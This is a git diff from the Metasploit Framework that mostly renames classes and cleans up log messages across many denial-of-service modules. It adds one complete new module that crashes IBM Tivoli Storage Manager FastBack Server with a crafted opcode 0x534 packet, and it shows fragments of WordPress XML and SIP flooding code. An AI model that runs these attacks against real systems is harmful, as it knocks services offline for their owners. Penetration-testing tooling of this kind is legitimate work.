a/modules/auxiliary/dos/http/rails_action_view.rb b/modules/auxiliary/dos/http/rails_action_view.rb index 92c685a1aa..92cccd67d7 100644 --- a/modules/auxiliary/dos/http/rails_action_view.rb +++ b/modules/auxiliary/dos/http/rails_action_view.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/rails_json_float_dos.rb b/modules/auxiliary/dos/http/rails_json_float_dos.rb index 40123ce208..2dc123ecea 100644 --- a/modules/auxiliary/dos/http/rails_json_float_dos.rb +++ b/modules/auxiliary/dos/http/rails_json_float_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos @@ -75,11 +75,11 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status "#{peer} - Using digit pattern of #{digit_pattern} taken to #{multiplier} places" + print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places" sploit = '[' sploit << evil_float_string sploit << ']' - print_status "#{peer} - Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}" + print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}" target_available = true begin @@ -91,19 +91,19 @@ class Metasploit3 < Msf::Auxiliary 'data' => sploit }) rescue ::Rex::ConnectionRefused - print_error "#{peer} - Unable to connect. (Connection refused)" + print_error "Unable to connect. (Connection refused)" target_available = false rescue ::Rex::HostUnreachable - print_error "#{peer} - Unable to connect. (Host unreachable)" + print_error "Unable to connect. (Host unreachable)" target_available = false rescue ::Rex::ConnectionTimeout - print_error "#{peer} - Unable to connect. (Timeout)" + print_error "Unable to connect. (Timeout)" target_available = false end return unless target_available - print_status "#{peer} - Checking availability" + print_status "Checking availability" begin res = send_request_cgi({ 'method' => verb, @@ -118,13 +118,13 @@ class Metasploit3 < Msf::Auxiliary target_available = false end rescue ::Rex::ConnectionError, Errno::ECONNRESET - print_good "#{peer} - DoS appears successful (Host unreachable)" + print_good "DoS appears successful (Host unreachable)" target_available = false end return unless target_available - print_status "#{peer} - Target is still responsive, DoS was unsuccessful." + print_status "Target is still responsive, DoS was unsuccessful." end end diff --git a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb index e90f6bec2d..0db48a5fcb 100644 --- a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb +++ b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok. diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index 4329b358db..38dc4e8948 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb index 258f134c4b..70e9ec24cc 100644 --- a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Dos @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary def user_exists(user) exists = wordpress_user_exists?(user) if exists - print_good("#{peer} - Username \"#{username}\" is valid") + print_good("Username \"#{username}\" is valid") report_cred( ip: rhost, port: rport, @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary return true else - print_error("#{peer} - \"#{user}\" is not a valid username") + print_error("\"#{user}\" is not a valid username") return false end end @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Auxiliary def run if wordpress_and_online? if validate_user - print_status("#{peer} - Checking if user \"#{username}\" exists...") + print_status("Checking if user \"#{username}\" exists...") unless user_exists(username) print_error('Aborting operation - a valid username must be specified') return @@ -125,7 +125,7 @@ class Metasploit3 < Msf::Auxiliary starting_thread = 1 while starting_thread < rlimit do ubound = [rlimit - (starting_thread - 1), thread_count].min - print_status("#{peer} - Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") + print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") threads = [] 1.upto(ubound) do |i| @@ -133,20 +133,20 @@ class Metasploit3 < Msf::Auxiliary begin wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout) rescue => e - print_error("#{peer} - Timed out during request #{(starting_thread - 1) + i}") + print_error("Timed out during request #{(starting_thread - 1) + i}") end end end threads.each(&:join) - print_good("#{peer} - Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") + print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") starting_thread += ubound end if wordpress_and_online? - print_error("#{peer} - FAILED: #{target_uri} appears to still be online") + print_error("FAILED: #{target_uri} appears to still be online") else - print_good("#{peer} - SUCCESS: #{target_uri} appears to be down") + print_good("SUCCESS: #{target_uri} appears to be down") end else print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress") diff --git a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb index 489458a65e..3bced8e4a6 100644 --- a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Dos @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary # try out the available memory in steps # apache will return a server error if the limit is reached while memory_to_use < 1024 - vprint_status("#{peer} - trying memory limit #{memory_to_use}MB") + vprint_status("trying memory limit #{memory_to_use}MB") opts = { 'method' => 'POST', 'uri' => wordpress_url_xmlrpc, @@ -76,14 +76,14 @@ class Metasploit3 < Msf::Auxiliary # low timeout because the server error is returned immediately res = send_request_cgi(opts, timeout = 3) rescue ::Rex::ConnectionError => exception - print_error("#{peer} - unable to connect: '#{exception.message}'") + print_error("unable to connect: '#{exception.message}'") break end if res && res.code == 500 # limit reached, return last limit last_limit = memory_to_use - fingerprint_step - vprint_status("#{peer} - got an error - using limit #{last_limit}MB") + vprint_status("got an error - using limit #{last_limit}MB") return last_limit else memory_to_use += fingerprint_step @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary end # no limit can be determined - print_warning("#{peer} - can not determine limit, will use default of #{default_limit}") + print_warning("can not determine limit, will use default of #{default_limit}") return default_limit end @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary } space_to_fill = size_bytes - empty_xml.size - vprint_status("#{peer} - max XML space to fill: #{space_to_fill} bytes") + vprint_status("max XML space to fill: #{space_to_fill} bytes") payload = "&#{entity};" * (space_to_fill / 6) entity_value_length = space_to_fill - payload.length @@ -148,15 +148,15 @@ class Metasploit3 < Msf::Auxiliary def run # get the max size - print_status("#{peer} - trying to fingerprint the maximum memory we could use") + print_status("trying to fingerprint the maximum memory we could use") size = fingerprint - print_status("#{peer} - using #{size}MB as memory limit") + print_status("using #{size}MB as memory limit") # only generate once xml = generate_xml(size) for x in 1..rlimit - print_status("#{peer} - sending request ##{x}...") + print_status("sending request ##{x}...") opts = { 'method' => 'POST', 'uri' => wordpress_url_xmlrpc, @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary c.send_request(r) # Don't wait for a response, can take very long rescue ::Rex::ConnectionError => exception - print_error("#{peer} - unable to connect: '#{exception.message}'") + print_error("unable to connect: '#{exception.message}'") return ensure disconnect(c) if c diff --git a/modules/auxiliary/dos/mdns/avahi_portzero.rb b/modules/auxiliary/dos/mdns/avahi_portzero.rb index 4cf177b852..2de44aae5d 100644 --- a/modules/auxiliary/dos/mdns/avahi_portzero.rb +++ b/modules/auxiliary/dos/mdns/avahi_portzero.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/misc/dopewars.rb b/modules/auxiliary/dos/misc/dopewars.rb index e21ccb27b4..2c83a27686 100644 --- a/modules/auxiliary/dos/misc/dopewars.rb +++ b/modules/auxiliary/dos/misc/dopewars.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb index c6f8a24995..faf1cceed4 100644 --- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos @@ -81,37 +81,37 @@ class Metasploit3 < Msf::Auxiliary def run # inform user of action currently selected - print_status("#{peer} - Action: #{action.name} selected") + print_status("Action: #{action.name} selected") # CHECK action if action.name == 'CHECK' - print_status("#{peer} - Checking if user #{@sipuri} is online") + print_status("Checking if user #{@sipuri} is online") if check_user - print_good("#{peer} - User online") + print_good("User online") else - print_status("#{peer} - User offline") + print_status("User offline") end return end # DOS action - print_status("#{peer} - Checking if user #{@sipuri} is online") + print_status("Checking if user #{@sipuri} is online") check_result = check_user if check_result == false - print_error("#{peer} - User is already offline... Exiting...") + print_error("User is already offline... Exiting...") return end # only proceed if action is DOS the target user is # online or the CHECKUSER option has been disabled - print_status("#{peer} - Targeting user: #{@sipuri}...") + print_status("Targeting user: #{@sipuri}...") dos_result = dos_user if dos_result - print_good("#{peer} - User is offline, DoS was successful") + print_good("User is offline, DoS was successful") else - print_error("#{peer} - User is still online") + print_error("User is still online") end end @@ -122,22 +122,22 @@ class Metasploit3 < Msf::Auxiliary res = send_msg(msg) if res.nil? - vprint_good("#{peer} - User #{@sipuri} is no responding") + vprint_good("User #{@sipuri} is no responding") return true elsif res =~ /430 Flow Failed/i - vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)") - vprint_good("#{peer} - User #{@sipuri} is no longer responding") + vprint_good("DoS packet successful. Response received (430 Flow Failed)") + vprint_good("User #{@sipuri} is no longer responding") return true elsif res =~ /404 Not Found/i - vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)") - vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session") + vprint_error("DoS packet appears successful. Response received (404 Not Found)") + vprint_status("User appears to be currently offline or not in a Sametime video session") return true elsif res =~ /200 OK/i vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)") vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer") return false else - vprint_status("#{peer} - Unexpected response") + vprint_status("Unexpected response") return true end end @@ -150,26 +150,26 @@ class Metasploit3 < Msf::Auxiliary # check response for current user status - common return codes if res.nil? - vprint_error("#{peer} - No response") + vprint_error("No response") return false elsif res =~ /430 Flow Failed/i - vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)") + vprint_good("User #{@sipuri} is no longer responding (already DoS'd?)") return false elsif res =~ /404 Not Found/i - vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session") + vprint_error("User #{@sipuri} is currently offline or not in a Sametime video session") return false elsif res =~ /200 OK/i - vprint_good("#{peer} - User #{@sipuri} is online") + vprint_good("User #{@sipuri} is online") return true else - vprint_error("#{peer} - Unknown server response") + vprint_error("Unknown server response") return false end end def create_message(length) # create SIP MESSAGE of specified length - vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long") + vprint_status("Creating SIP MESSAGE packet #{length} bytes long") source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1) source_host = Rex::Socket.source_address(datastore['RHOST']) @@ -215,13 +215,13 @@ class Metasploit3 < Msf::Auxiliary end return res rescue ::Rex::ConnectionRefused - print_status("#{peer} - Unable to connect") + print_status("Unable to connect") return nil rescue ::Errno::ECONNRESET - print_status("#{peer} - DoS packet successful, host not responding.") + print_status("DoS packet successful, host not responding.") return nil rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_status("#{peer} - Couldn't connect") + print_status("Couldn't connect") return nil ensure # disconnect socket if still open diff --git a/modules/auxiliary/dos/misc/ibm_tsm_dos.rb b/modules/auxiliary/dos/misc/ibm_tsm_dos.rb new file mode 100644 index 0000000000..72784a7589 --- /dev/null +++ b/modules/auxiliary/dos/misc/ibm_tsm_dos.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info={}) + super(update_info(info, + 'Name' => "IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service", + 'Description' => %q{ + This module exploits a denial of service condition present in IBM Tivoli Storage Manager + FastBack Server when dealing with packets triggering the opcode 0x534 handler. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Gianni Gnesa', # Public disclosure/Proof of Concept + 'William Webb ', # Metasploit + ], + 'References' => + [ + ['EDB', '38979'], + ['OSVDB', '132307'] + ], + 'DisclosureDate' => "Dec 15 2015", + )) + + register_options( + [ + Opt::RPORT(11460) + ], self.class) + end + + def tv_pkt(opcode, p1="", p2="", p3="") + buf = Rex::Text.rand_text_alpha(0x0C) + buf += [opcode].pack("V") + buf += [0x00].pack("V") + buf += [p1.length].pack("V") + buf += [p1.length].pack("V") + buf += [p2.length].pack("V") + buf += [p1.length + p2.length].pack("V") + buf += [p3.length].pack("V") + + buf += Rex::Text.rand_text_alpha(0x08) + + buf += p1 + buf += p2 + buf += p3 + + pkt = [buf.length].pack("N") + pkt << buf + + return pkt + end + + def run + target_opcode = 0x534 + connect + print_status("Connected to: #{rhost} port: #{rport}") + print_status("Sending malicious packet") + + p = tv_pkt(target_opcode, + "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % [Rex::Text.rand_text_alpha(0x200),0,0,0,0], + Rex::Text.rand_text_alpha(0x60), + Rex::Text.rand_text_alpha(0x60) + ) + + sock.put(p) + print_status("Packet sent!") + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => ex + print_status("Exploit failed: #{ex.class} #{ex.message}") + elog("#{ex.class} #{ex.message}\n#{ex.backtrace * "\n"}") + ensure + disconnect + end +end diff --git a/modules/auxiliary/dos/misc/memcached.rb b/modules/auxiliary/dos/misc/memcached.rb index f120cc3aa2..30a34e6db2 100644 --- a/modules/auxiliary/dos/misc/memcached.rb +++ b/modules/auxiliary/dos/misc/memcached.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb index 73a64cd658..cabca95f30 100644 --- a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb +++ b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb index 949a673013..9d96f4b83c 100644 --- a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb +++ b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb index ec88b8823a..82987c5a44 100644 --- a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb index 34a5af994f..f7154392e6 100644 --- a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index a550c617b1..29c49031b9 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/struct2' require 'rex/proto/smb' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client::Authenticated diff --git a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb index e4aa509cd1..9eeeadf3ed 100644 --- a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb +++ b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/dos/scada/beckhoff_twincat.rb b/modules/auxiliary/dos/scada/beckhoff_twincat.rb index 10cfb38841..dab3f2bda3 100644 --- a/modules/auxiliary/dos/scada/beckhoff_twincat.rb +++ b/modules/auxiliary/dos/scada/beckhoff_twincat.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb index 76e35d1b59..6317644378 100644 --- a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb +++ b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb @@ -17,7 +17,7 @@ require 'msf/core' require 'rex/ui/text/shell' require 'rex/proto/tftp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Rex::Ui::Text include Rex::Proto::TFTP include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/dos/scada/igss9_dataserver.rb b/modules/auxiliary/dos/scada/igss9_dataserver.rb index a97481a1af..debb192254 100644 --- a/modules/auxiliary/dos/scada/igss9_dataserver.rb +++ b/modules/auxiliary/dos/scada/igss9_dataserver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb index 4149967eaf..4badcfb019 100644 --- a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb +++ b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb index 86fc52f7f2..e6b422ee8c 100644 --- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb +++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb index 3ec73403ae..ec9d7a1492 100644 --- a/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb +++ b/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb index 2dddf9a25f..e045bd5348 100644 --- a/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb +++ b/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos include Msf::Exploit::Capture diff --git a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb index 78ad298e42..c1939e64e4 100644 --- a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb +++ b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos include Exploit::Remote::Udp diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index 76f0db506d..70ac830a9e 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -6,7 +6,7 @@ # auxilary/dos/ssl/openssl_aesni require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb index c9704300cb..036d5708b4 100644 --- a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb +++ b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb index a44a526850..d2b27eecd1 100644 --- a/modules/auxiliary/dos/tcp/junos_tcp_opt.rb +++ b/modules/auxiliary/dos/tcp/junos_tcp_opt.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/tcp/synflood.rb b/modules/auxiliary/dos/tcp/synflood.rb index 0ba1568205..9243b54a8d 100644 --- a/modules/auxiliary/dos/tcp/synflood.rb +++ b/modules/auxiliary/dos/tcp/synflood.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb index cee1464fe9..fa074f33a7 100644 --- a/modules/auxiliary/dos/upnp/miniupnpd_dos.rb +++ b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/appian/appian_bpm.rb b/modules/auxiliary/dos/windows/appian/appian_bpm.rb index 9dfea04d72..f239bce52f 100644 --- a/modules/auxiliary/dos/windows/appian/appian_bpm.rb +++ b/modules/auxiliary/dos/windows/appian/appian_bpm.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb index 18ac1c4212..5ad8dc5493 100644 --- a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb +++ b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -28,6 +28,9 @@ class Metasploit3 < Msf::Auxiliary [ 'MSB', 'MS09-065' ], [ 'OSVDB', '59869'] ], + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer', 'DisclosureDate' => 'Nov 10 2009' )) register_options([ diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb index 5686914817..570ef3994d 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb index b082718fe9..78e2cbfc31 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb index 8a2a932f4f..7b62702876 100644 --- a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb +++ b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb index ac1e6022f9..8cccf0ebb4 100644 --- a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb +++ b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb index dc8ec4092e..415e837c28 100644 --- a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb +++ b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb index b2288b7b1c..59b12e6922 100644 --- a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb +++ b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include 